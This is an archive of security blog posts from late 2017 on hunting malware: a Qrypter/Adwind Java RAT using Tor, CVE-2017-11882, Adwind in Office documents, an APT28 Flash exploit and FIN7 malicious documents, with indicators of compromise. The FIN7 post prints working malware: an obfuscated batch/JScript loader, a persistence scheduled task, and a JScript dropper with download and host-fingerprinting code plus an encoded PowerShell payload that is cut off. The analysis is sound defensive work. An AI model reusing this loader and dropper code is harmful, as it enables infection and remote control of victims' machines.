Wednesday, December 27, 2017

Qrypter Java RAT using Tor

Since the 16th of December, almost in a daily basis, I'm seeing a particular family of Java Remote Access using Tor. 



The samples I took a look are rarely detected by AV




The malware communicates via a Tor proxy with the malware developers website https://vvrhhhnaijyj6s2m.onion.top/


Qrypter seems the name of the product, which is developed by a company named 
"QUAverse Research & Development 2017"

One of the feature, according to the developers is its low rating detection. And indeed this is true :)


There is some recent information about "Qrypter" in Twitter from a researcher https://twitter.com/rcherj/status/940252259363016704 and a post from another company, Certego (http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/)

  




That information links Qrypter to Qarallax / Quaverse RAT. Quaverse, is actually the company who is behind QRypter. According to Malpedia, QRat / QRallax RAT have been in the wild since 2015



There is some information about this QRat/Qarallax/Quaverse in several presentations and posts:



In some other Tweets, some analyst links he same behaviour of Qrypter and Adwind JRat





Actually, doing the analysis of the malware I can see similar behaviour like Adwind. 
(I wrote a bit about how to detect Adwind in here)

¨



The samples I took are heavily obfuscated with several layers of embedded JAR files which reminds to the analysis done by malwarebytes and in this post 

Actually, after some analysis of the files I ended up with the same MANIFEST.MF pointing to a Main-Class operationl.JRat which matches Adwind.



And with a bit of further analysis, I end up with the same kind of configuration used by Adwind.




So in essence, this Qrypter looks like Adwind with some additional encryption layers.

By the way, another good analysis of this Adwind malware can be found in this post 


Let's continue taking a look to the specific campaign seen since the 16th of December.

The first sample I detected, which can be found here https://www.virustotal.com/#/file/7e33381a99928f7b346dd613e5712923b6816d1da69b43cf4f12c2d313ed2903/detection already used the domain vvrhhhnaijyj6s2m.onion.top 





The last one the last one detected, at the time of this writing https://www.virustotal.com/#/file/b68eb3096328fa3bfabbeb7a178ea7075539e15ef19fbc65ab3e89f980c60967/detection also used the same domain.



According to PassiveTotal that domain has been active since the 30th of November 2017



The first malicious samples under that domain existed from the 5th of December




But this was not the only domain used by Qrypter, but some other onion domains existed

https://vvrhhhnaijyj6s2m.onion.rip/ - active since 1st of December 2017
https://vvrhhhnaijyj6s2m.onion.to/ - active since 11 of September 2017

And there are some other which looks very fresh:

https://buzw55o32jgyznev.onion.link

https://buzw55o32jgyznev.onion.to/


Qrypter uses a tool to control the plugins installed: Qcontroller. This tool also uses Tor to connect to the he developers website.









Several plugins can be used:








QRypter product seems like the evolution or another version of Qarallax/Quaverse.  Besides the obfuscation and the connection via Tor with the developers website, to install additional plugins, there is not much of innovation on this Java RAT.













Monday, November 20, 2017

Hunting for Microsoft Equation Vulnerability - CVE-2017-11882

Since Microsoft released November patches last week where CVE-2017-11882 was addressed, I've been trying to get a sample in order to perform some checks for the vulnerability. Today thanks to Corsin Camichel I got the PoC

There is some information about this PoC in this blog post

At the moment the detection rate of the malicious files used in this analysis is really low.




Office doesn't spawn any unusual process while exploiting this vulnerability, hence a Use Case which monitors unusual processes spawned by Office will no detect the exploitation of this issue.

However, in this case, we need to pay attention to the the equation tool process "EQNEDT32.EXE". This process is the one who spawns other processes, hence monitoring those child process will detect any potential exploitation.
A basic Use case to detect is below.






Time for monitor your EQNEDT32.EXE processes :)



Sunday, November 19, 2017

Detecting Adwind malware weaponized in MS office documents

In a daily basis I see lot of Adwind malware trying to infect end users

Adwind is a multiplatform Remote Access Trojan (RAT) which has been in the wild for some time. In this Kasperky Blog post there is a good historical analysis.

In most of the cases Adwind is delivered as an attachment via email (as ZIP or JAR file), but it is not the only way.  I've dealt with incidents involving Adwind where the infection vector was a malicious link.

Other potential infection vector is via weaponized MS office documents. Some of this weaponized document have really low detection rate, like the one above, which it is only detected by 20% of the Antivirus at the moment of this writing and 8 AV (from of a total of 60) when the file was originally reported

 






The malicious payload, a JAR file, is included in the MS office Document as an OLE object.







This can be seen doing some manual analysis on the file:





A Simple Use Case to detect the malware is to monitor any process spawned by MS Office, in this case it is a Java Process



In terms of persistence, the malware can be detected easily, as it creates an entry in the registry "HKCU\Software\Microsoft\Windows\CurrentVersion\Run " pointing to a java executable which it is allocated in the the AppData directory of the user:




This can be easily hunt with a remote PowerShell query, like the one below




Adwind malware kills massively processes relates to Antivirus and monitor tools, which can be also a good indicator for detection



To avoid those processes to be executed again the malware uses an interesting trick. It includes the processes in the registry key as 'debugger=svchost.exe' using the "Image File execution Option". This technique is described in this blog post







This can be spotted straight forward with a query, checking any registry imported from the AppData user folder, like the one above:



Another way is to monitor all the registry keys being set with debugger




IOC:

185.172.25.13
245addb0e7b0d9f63e8a63efb8c77ffdc4e39cb2ddbbe8a138f3203e7458caf5


Saturday, October 21, 2017

Hunting APT28 CVE-2017-11292 Flash Vulnerability

Proofpoint made public a couple of days ago that APT28 is using the last flash 0-day CVE-2017-11292 via some malicious weaponized DOC files; APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed

So far I have not seen this vulnerability abused by common malware but I guess is a matter of time that cyber criminals starts using it. 

At the moment in VT there are only 2 files with the tag CVE-2017-11292 . 


The second one is basically the Flash embedded into the first one.




In order to create a Use Case to detect it, first of all I check which processes are
spawned by Microsoft Word, but unfortunately there is no single processes spawned.
Although, I see there is some communication performed to a domain blackpartshare.com




This means that Microsoft Word is doing the connection to Internet, and I can hunt for that:


Seeing the amount of malware abusing Microsoft Word documents, it is  a must to closely monitor any anormal activity coming from Microsoft Office as I have discussed in this blog, like for example, commands spawned, connections done, etc.

The domain accessed in this case is  the domain reported in proofpoint blog post which has been registered a couple of days ago.


Again, this might be a good indicator.

if you can get a whitelist of domains which are most frequently accessed in your environment and combined with top Alexa 500, you might create a Use Case to monitor the registration date of the domains which might be a good indicator. I wrote a Use Case to detect this kind of behaviour in Exploit Kits some time ago; Hunting Exploit Kits Abusing Domain Generator Algorithm. There might be other ways to do it, via for example Passive DNS or similar, but in the end the the target is the same.

Coming back to the behaviour of this malicious DOC file, one of the things I see is that it loads some Image in order to open the flash embedded via an ActiveX in the document. 



It is possible to spot this behaviour while monitoring what Image are loaded by Microsoft Word


Monitoring all the Image Loaded by a process like Microsoft Office can generated lot of noise, that is why it is important to narrow with appropriate filters. 
Things like Flash, with historically many vulnerabilities being exploited, is something you might consider to monitor closely.

Now it is possible to combined two use cases: the connections established by Microsoft word and the Flash image loaded in order to create a more advance Use Case. This is done with one sub-search using the process_id.

I search for any MS Office process which loads flash and then performs a connections to Internet.




There might be other approaches, like monitoring registry keys related to Flash and office, and connections, but I find this process quite simple and working.

Again, it is important to keep a close eye in any Microsoft Office process and the connections established, as this might be good indicators :)



Sunday, October 15, 2017

Hunting FIN7 malicious documents

A few days ago I read an interesting post about some new technique that FIN7 Threat Actors are using to deliver malicious payloads in RTF and DOC files. The ratio of detection was in the best case only 1/59



Although at the moment of writing this post the detection is much higher.


In any case, this is an interesting case to take a look.

Both files, the DOC and RTF, contains an OLE object which it is a CMD file. 



The CMD file is a batch file which contains a set of windows commands.


This means that a cmd.exe command will be spawned in order to executed the commands in the file.

A first use case to detect this malicious behaviour is to monitor all the child processes spawned by any Office program. This is the same approach explained in other posts in this blog.




The CMD (unlock.cmd) is the following 


@set w=wsc@ript /b /e:js@cript %HOMEPATH%\tt.txt
@echo try{var fs=new ActiveXObject('Scripting.FileSystemObject');sh=new ActiveXObject('Wscript.Shell');p=sh.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\pp.txt';var f=fs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var com='';while(!f.AtEndOfStream)com+=f.ReadLine().substr(1);f.Close();try{fs.DeleteFile(p, true);}catch(e){}this[String.fromCharCode(101)+'v'+'al'](com);}catch(e){}; >%HOMEPATH%\tt.txt
@copy /y %TMP%\unlock.cmd %HOMEPATH%\pp.txt
@echo %w:@=%|cmd
#function b64dec(data){
# var cdo = new ActiveXObject("CDO.Message");
# var bp = cdo.BodyPart;
# bp.ContentTransferEncoding = "base64";
# bp.Charset = "windows-1251";
# var st = bp.GetEncodedContentStream();
# st.WriteText(data);
# st.Flush();
# st = bp.GetDecodedContentStream();
# st.Charset = "utf-8";
# return st.ReadText;
#}
#var fso = new ActiveXObject("Scripting.FileSystemObject");
#var sh = new ActiveXObject("Wscript.Shell");
#var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%");
#var p = "";
#p = fldr + "\\whatis.ini";
#if(!fso.FileExists(p)){
# var f = fso.OpenTextFile(p,2,1);
# f.Write( b64dec('ZnVu......
# f.Close();   
#}
#cmd = 'wscript.exe //b //e:jscript "' + p + '"';
#sh.Run(cmd, 0, false);
#fso.DeleteFile(WScript.ScriptFullName, true);
#function Abracadabra(){
# try{
#  var objWord=GetObject("","Word.Application");
#  objWord.Visible = true;
#  objWord.ScreenUpdating = false;
#  var objDoc = objWord.ActiveDocument;
#  objDoc.Content.Select();
#  objWord.Selection.Delete();
#  var objRange = objDoc.Range();
#  objRange.InsertAfter("ȪȪɃɅɄwɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȫ ɃɅɄɁȦɍɧ ɬɶɵɗɀȄ ȪȧȀɥȦȿɃɚɚɏwɳɨɁǿȨ ȭȰșșɐɩɘɂɂȕȗȘȱəȓɏɾءاةیییڱڱۉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȗ ɤɤɢɩ ɕȧɵʋʒɛȚȃȃǾȺȻɄɜwɯȓ ɓɻɘȜȾɒȻɓə ɤɤʂɦɑɑɂȩɶ ʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵʷȭɂʐʉʉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ȩɄɄɤȯȮǾɐʥ ʥʥɋɏɏȰȦɬɫwɒɯɚȩȩɈɓȨɃɃ Ȫɏɏɴɴɗȫȧȯ ȯȯȑȑȕȗțȝȝɦɤɍȹȦȫ Ȯɭʁʀɸɷ ɣȾɗə əəɒɐȸ ȺȚʥ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ʣɸɗʄɻʎʡʠʠʐʐʔʖɫɓɑɣəȹɴwʏȽɞɞ ȻɄɜɯȓɓɻɘȜȾɒ ɑɂȩɶʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵ ɃɅɄɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ưnjƠƞưƤƊƌ ƛ ƳƴƤƊ ƥwƥƥţƠƠƵ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ŸƌƌƉȮɐɐwɕɖɔɔȾȨʞʞɐʁ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ɂȩɶʶʂɖwɑ Ʉǽȹ");
#  objRange.InsertParagraphAfter();  
#  objWord.ScreenUpdating = true; 
# } catch(e) { }  
#}
#Abracadabra();

Without going into the details of the execution flow, in essence the CMD, while executing the code, generates and executes an obfuscated file, which it is reality a JS file, and this same process is repeated several times in a loop. Several files with different extension are created (.INI, CHM and TXT,) however all of them are executed with the command "wscript" as showed below:







On important thing that happens is that there is a delay of 100s before to execute the second script in order to by-pass sanboxes and AV.

At some stage there is a schedule task created base on an XML.



<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <Triggers>
   <TimeTrigger>
     <Repetition>
       <Interval>PT47M</Interval>
       <StopAtDurationEnd>false</StopAtDurationEnd>
     </Repetition>
     <StartBoundary>2017-05-22T20:21:00</StartBoundary>
     <Enabled>true</Enabled>
   </TimeTrigger>
 </Triggers>
 <Settings>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <AllowHardTerminate>true</AllowHardTerminate>
   <StartWhenAvailable>false</StartWhenAvailable>
   <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
   <IdleSettings>
     <Duration>PT10M</Duration>
     <WaitTimeout>PT1H</WaitTimeout>
     <StopOnIdleEnd>true</StopOnIdleEnd>
     <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <AllowStartOnDemand>true</AllowStartOnDemand>
   <Enabled>true</Enabled>
   <Hidden>false</Hidden>
   <RunOnlyIfIdle>false</RunOnlyIfIdle>
   <WakeToRun>false</WakeToRun>
   <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
   <Priority>7</Priority>
 </Settings>
 <Actions Context="Author">
   <Exec>
     <Command>wscript.exe</Command>
     <Arguments>//b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt</Arguments>
   </Exec>
 </Actions>
</Task>


So now we know how the persistence is achieve: via a schedule task which executes the command:

wscript.exe /b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt

The directory "Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}" is used to store all the temporal files created and executed via the initial CMD command.

The schedule task can be seen via the windows GUI





At some point, there is some commands to map the system




The WScript runs every minute, so it is a good indicator also to check




There is a moment in which one of the scripts spawns a PowerShell command




The script basically acts as a dropper using powershell.

function readFile(p)
{
 try{ 
  var fs = new ActiveXObject("Scripting.FileSystemObject");
  var file = fs.GetFile(p);
  var stream = file.OpenAsTextStream(1, 0);
  var content = stream.ReadAll();
  stream.Close();
  return content;
 }catch(e){
  return "";
 } 
}
function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;
    do{ 
  curDate = new Date();
  WScript.Sleep(100); 
 }while(curDate-date < millis);
}

function getProxy(){
 var WshShell = new ActiveXObject("WScript.Shell");
 
 try {
  var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
  if(ProxyEnable == 1){
   var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
   return ProxyServer;
  }else{
   return "";
  }
 } catch (e) {
  return "";
 }   
}

function downLoadUrl(metod,urlArr,url,val){
 for(var i=0; i<urlArr.length; i++) { 
  try {
   var xmlServerHttp = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");  
   xmlServerHttp.open(metod, urlArr[i] + url, false);
   var prox = getProxy();
   if( prox != ""){
    xmlServerHttp.setProxy(2, prox, "");
   }    
   xmlServerHttp.setOption(2, 13056);
   //xmlServerHttp.setTimeouts(0, 0, 0, 0);
   xmlServerHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
   xmlServerHttp.setRequestHeader("Charset","utf-8");
   xmlServerHttp.setRequestHeader("Connection","Keep-Alive");
   xmlServerHttp.setRequestHeader("Keep-Alive","300");  
   xmlServerHttp.send(val);
   while (xmlServerHttp.readyState != 4) {
      xmlServerHttp.waitForResponse(1000);
   }
   if(xmlServerHttp.status == 200) {
    return xmlServerHttp.responseText;
   }  
  }catch(e){}
 }
 return ""; 
}

function b64enc(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.Charset = "utf-8";
 bp.ContentTransferEncoding = "base64";
 var st = bp.GetDecodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetEncodedContentStream();
 var result = st.ReadText(st.Size - 2);
 return result.replace(/\r\n/g, '');
}
function b64dec(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.ContentTransferEncoding = "base64";
 bp.Charset = "windows-1251";
 var st = bp.GetEncodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetDecodedContentStream();
 st.Charset = "utf-8";
 return st.ReadText;
}

function cuid(){
 var rmac = "1";
 try {
  var oWmiService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
  var cItems = oWmiService.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true");
  var oItem = new Enumerator(cItems);
  for (;!oItem.atEnd();oItem.moveNext()) {
   var mac = oItem.item().MACAddress;
   if(mac != null && typeof mac == "string"){
    rmac = mac;  
   }
  }
  rmac = rmac.replace(/[^A-Za-z0-9]/g, '');
 } catch (e) {} 
 var sn = "2";
 try {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"); 
  var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0));
  var D = FSO.GetDrive(strDrive);
  sn = D.SerialNumber;
 } catch (e) {}
 sn = b64enc(sn.toString());
 sn = sn.replace(/[^\w]+/g, "").slice(0, 20);
 rmac = rmac.slice(0, 20);
 return sn+rmac;
}

function getRandomInt(min, max) {
  return Math.floor(Math.random() * (max - min)) + min;
}
function randomString(length, chars) {
    var mask = '';
    if (chars.indexOf('a') > -1) mask += 'abcdefghijklmnopqrstuvwxyz';
    if (chars.indexOf('A') > -1) mask += 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    if (chars.indexOf('#') > -1) mask += '0123456789';
    if (chars.indexOf('!') > -1) mask += '~`!@#$%^&*()_+-={}[]:";\'<>?,./|\\';
    var result = '';
    for (var i = length; i > 0; --i) result += mask.charAt(Math.floor(Math.random() * mask.length));
    return result;
}
function randomParamName(){
    result = randomString(getRandomInt(1,3), 'aA') + randomString(getRandomInt(1,8), 'aA#');
    return result;
}
function randomParamData(){
    result = randomString(getRandomInt(1,12), 'aA#');
    return result;
}
function randomUrl(str){
 var result = "";
 var parArray = [];
 parArray.push({ name: randomParamName(), data: encodeURI(SimpleEncrypt(str)) });
 parArray.push({ name: randomParamName(), data: encodeURI(b64enc(kkid)) });
 for (var i = getRandomInt(0,5); i > 0; --i){
  parArray.push({ name: randomParamName(), data: randomParamData() });
 }
 parArray.sort(function(a, b){return 0.5 - Math.random()});
 
 for (var i = 0; i < parArray.length; i++) {
  result += parArray[i].name + "=" + parArray[i].data + "&";
 } 
 return "?" + result.replace(/&+$/,'');
}

function SimpleEncrypt(a){
 var str = b64enc(a);
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
 for (var i = 0; i < chrArr.length; i++) {
  pos = alfIn.indexOf(chrArr[i]);
  if( pos != -1 ){
   resultArray.push( alfOut.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
 return resultArray.join("");
}
function SimpleDencrypt(a){
 var str = a;
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
 for (var i = 0; i < chrArr.length; i++) {
  pos = alfOut.indexOf(chrArr[i]);
  if( pos != -1 ){
   resultArray.push( alfIn.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
 return b64dec(resultArray.join(""));
}


var evalString = (function () {/*
try{
 var fso = new ActiveXObject("Scripting.FileSystemObject");
 var sh = new ActiveXObject("Wscript.Shell");
 var jsLoaderDir = "{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}"; 
 var PS1Body = "$EncodedCompressedFile = @'
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